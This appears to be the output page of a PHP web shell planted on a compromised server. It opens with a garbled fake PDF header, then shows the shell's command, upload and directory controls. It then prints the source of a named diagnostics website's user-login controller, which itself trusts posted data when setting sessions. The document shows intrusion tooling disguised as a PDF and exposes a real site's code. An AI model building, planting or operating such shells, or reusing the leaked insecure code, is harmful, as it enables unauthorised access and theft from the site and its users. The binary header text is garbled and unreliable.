%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardadiagnostics.in/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardadiagnostics.in/application/controllers/Users-backup-60918.php
<?php

defined('BASEPATH') OR exit('No direct script access allowed');

class Users extends MY_Controller
{

    private $registerErrors = array();
    private $user_id;

    public function __construct()
    {
        parent::__construct();
        $this->load->library('email');
		
    }

    public function index()
    {
        show_404();
    }

    public function login()
    {
	
        if (isset($_POST['mobile']) && isset($_POST['otp']) ) {
			
			// Validate OTP
			$response = $this->Public_model->checkPublicUserOTP($_POST);
			if($response == false){
				echo $resp = 'Invalid';
				exit();
			} else {
				$_SESSION['logged_user'] = $response; //id of user
				$_SESSION['member_info']['user_id'] = $response['id'];
				$_SESSION['member_info']['member_id'] = $response['member_id'];
				$member_info = base64_encode(serialize($_SESSION['member_info']));
				echo $response['id'].'-'.$member_info;
				exit();
			}
        }
		
        $head = array();
        $data = array();
        $head['title'] = lang('user_login');
        $head['description'] = lang('user_login');
        $head['keywords'] = str_replace(" ", ",", $head['title']);
        $this->render('login', $head, $data);
    }

	public function gmailLogin(){
		if($_POST){
		//print_r($_POST);
		$response = $this->Public_model->addGmaillogin($_POST);
		$_SESSION['logged_user'] = $response; //id of user
		$_SESSION['member_info']['user_id'] = $response['id'];
		$_SESSION['member_info']['member_id'] = $response['member_id'];
		$member_info = base64_encode(serialize($_SESSION['member_info']));
		echo json_encode($_POST);
	}
	else {
		 $arr = array('error' => 1);
    echo json_encode($arr);
	}
	}
	
    public function register()
    {
        if (isset($_POST['signup'])) {
            $result = $this->registerValidate();
            if ($result == false) {
                $this->session->set_flashdata('userError', $this->registerErrors);
                redirect(LANG_URL . '/register');
            } else {
                $_SESSION['logged_user'] = $this->user_id; //id of user
                redirect(LANG_URL . '/checkout');
            }
        }
        $head = array();
        $data = array();
        $head['title'] = lang('user_register');
        $head['description'] = lang('user_register');
        $head['keywords'] = str_replace(" ", ",", $head['title']);
        $this->render('signup', $head, $data);
    }

    public function myaccount()
    {
        if (isset($_POST['update'])) {
            $_POST['id'] = $_SESSION['logged_user'];
            $count_emails = $this->Public_model->countPublicUsersWithEmail($_POST['email'], $_POST['id']); 
            if ($count_emails == 0) {
                $this->Public_model->updateProfile($_POST);
            }
            redirect(LANG_URL . '/myaccount');
        }
        $head = array();
        $data = array();
        $data['userInfo'] = $this->Public_model->getUserProfileInfo($_SESSION['logged_user']);
        $head['title'] = lang('my_acc');
        $head['description'] = lang('my_acc');
        $head['keywords'] = str_replace(" ", ",", $head['title']);
        $this->render('user', $head, $data);
    }

    public function logout()
    {
        unset($_SESSION['logged_user']);
        redirect(LANG_URL);
    }

    private function registerValidate()
    {
        $errors = array();
        if (mb_strlen(trim($_POST['name'])) == 0) {
            $errors[] = lang('please_enter_name');
        }
        if (mb_strlen(trim($_POST['phone'])) == 0) {
            $errors[] = lang('please_enter_phone');
        }
        if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {
            $errors[] = lang('invalid_email');
        }
        if (mb_strlen(trim($_POST['pass'])) == 0) {
            $errors[] = lang('enter_password');
        }
        if (mb_strlen(trim($_POST['pass_repeat'])) == 0) {
            $errors[] = lang('repeat_password');
        }
        if ($_POST['pass'] != $_POST['pass_repeat']) {
            $errors[] = lang('passwords_dont_match');
        }

        $count_emails = $this->Public_model->countPublicUsersWithEmail($_POST['email']);
        if ($count_emails > 0) {
            $errors[] = lang('user_email_is_taken');
        }
        if (!empty($errors)) {
            $this->registerErrors = $errors;
            return false;
        }
        $this->user_id = $this->Public_model->registerUser($_POST);
        return true;
    }
	
	/*
	* Function : addFamilyMember
	* Params: array('member_id','user_id')
	* Return : @ add and return last inserted member id
	* CreatedOn: 08 June 2018
	* CreatedBy: Amit Verma
	*/
	
	public function addFamilyMember()
    {
        $errors = array();
		
		// Update User Info
		$_POST['user_id'] = $_SESSION['logged_user']['id'];
		if($_POST['relation']=='self'){
			$_POST['member_id'] = $_SESSION['member_info']['member_id'];
			$userresp = $this->Public_model->updateUserInfo($_POST);
			// Reset Session
			$_SESSION['logged_user'] = $userresp;
		} 		
		echo $response = $this->Public_model->registerFamilyMembers($_POST);
		exit();
    }
	
	/*
	* Function : updateUserInfo
	* Params: array('member_id','user_id')
	* Return : @ add and return last inserted member id
	* CreatedOn: 08 June 2018
	* CreatedBy: Amit Verma
	*/
	public function updateUserInfo(){
		
		$_POST['user_id'] = $_SESSION['logged_user']['id'];
		$_POST['member_id'] = $_SESSION['member_info']['member_id'];
		
		$response = $this->Public_model->updateUserInfo($_POST);
		
		if($response['id']>0) {
			
			$_SESSION['logged_user'] = $response;
			echo $response['id'];
			
		} else {
			echo 'Invalid Request';
		}
		exit();
		
	}
	
	/*
	* Function : addNewAddress
	* Params: array('member_id','user_id')
	* Return : @ add and return last inserted member id
	* CreatedOn: 15 June 2018
	* CreatedBy: Amit Verma
	*/
	public function addNewUserAddress(){
		
		$_POST['user_id'] = $_SESSION['logged_user']['id'];
		$response = $this->Public_model->addNewUserAddress($_POST);
		if($response>0) {
			echo $response;
		} else {
			echo 'Invalid Request';
		}
		exit();
		
	}
	
	/*
	* Function : editUserAddress
	* Params: array('member_id','user_id')
	* Return : @ add and return last inserted member id
	* CreatedOn: 15 June 2018
	* CreatedBy: Amit Verma
	*/
	public function editUserAddress(){
		
		$_POST['user_id'] = $_SESSION['logged_user']['id'];
		
		$response = $this->Public_model->editUserAddress($_POST);
		if($response>0) {
			echo $response;
		} else {
			echo 'Invalid Request';
		}
		exit();
		
	}
	
	/*
	* Function : editUserAddress
	* Params: array('member_id','user_id')
	* Return : @ add and return last inserted member id
	* CreatedOn: 15 June 2018
	* CreatedBy: Amit Verma
	*/
	public function editProfilePhoto(){
		
		$filetype = array('jpeg','jpg','png','gif','PNG','JPEG','JPG');
		$user_id = $_SESSION['logged_user']['id'];
		foreach ($_FILES as $key )
		{	
			  $file_ext =  pathinfo($key['name'], PATHINFO_EXTENSION);
			  $name =$_SESSION['logged_user']['id'].'.'.$file_ext;
			  $path='attachments/profile_image/'.$name;
			  if(in_array(strtolower($file_ext), $filetype))
			  {
				if(filesize($key['name'])<2000000) {
					
				 @move_uploaded_file($key['tmp_name'],$path);
				 $this->Public_model->editUserProfileImage($name, $user_id);
				 $_SESSION['logged_user']['profile_image'] = $name;
				 echo $name;
				 
				}  else  { echo "FILE_SIZE_ERROR";   }
			} else {  echo "FILE_TYPE_ERROR";   }
			exit();
		}
	
	}
	
	/*
	* function : subscribedNow
	*/
	public function subscribedNow(){
	
		if($_POST){
			
			if (!filter_var($_POST['email_id'], FILTER_VALIDATE_EMAIL)) {
				$response = 'invalid_email';
			} else {
				$response = $this->Public_model->emailsubscribedNow($_POST);
			}
		}
		
		echo  $response;
		
		exit();
	}
	
}

Kontol Shell Bypass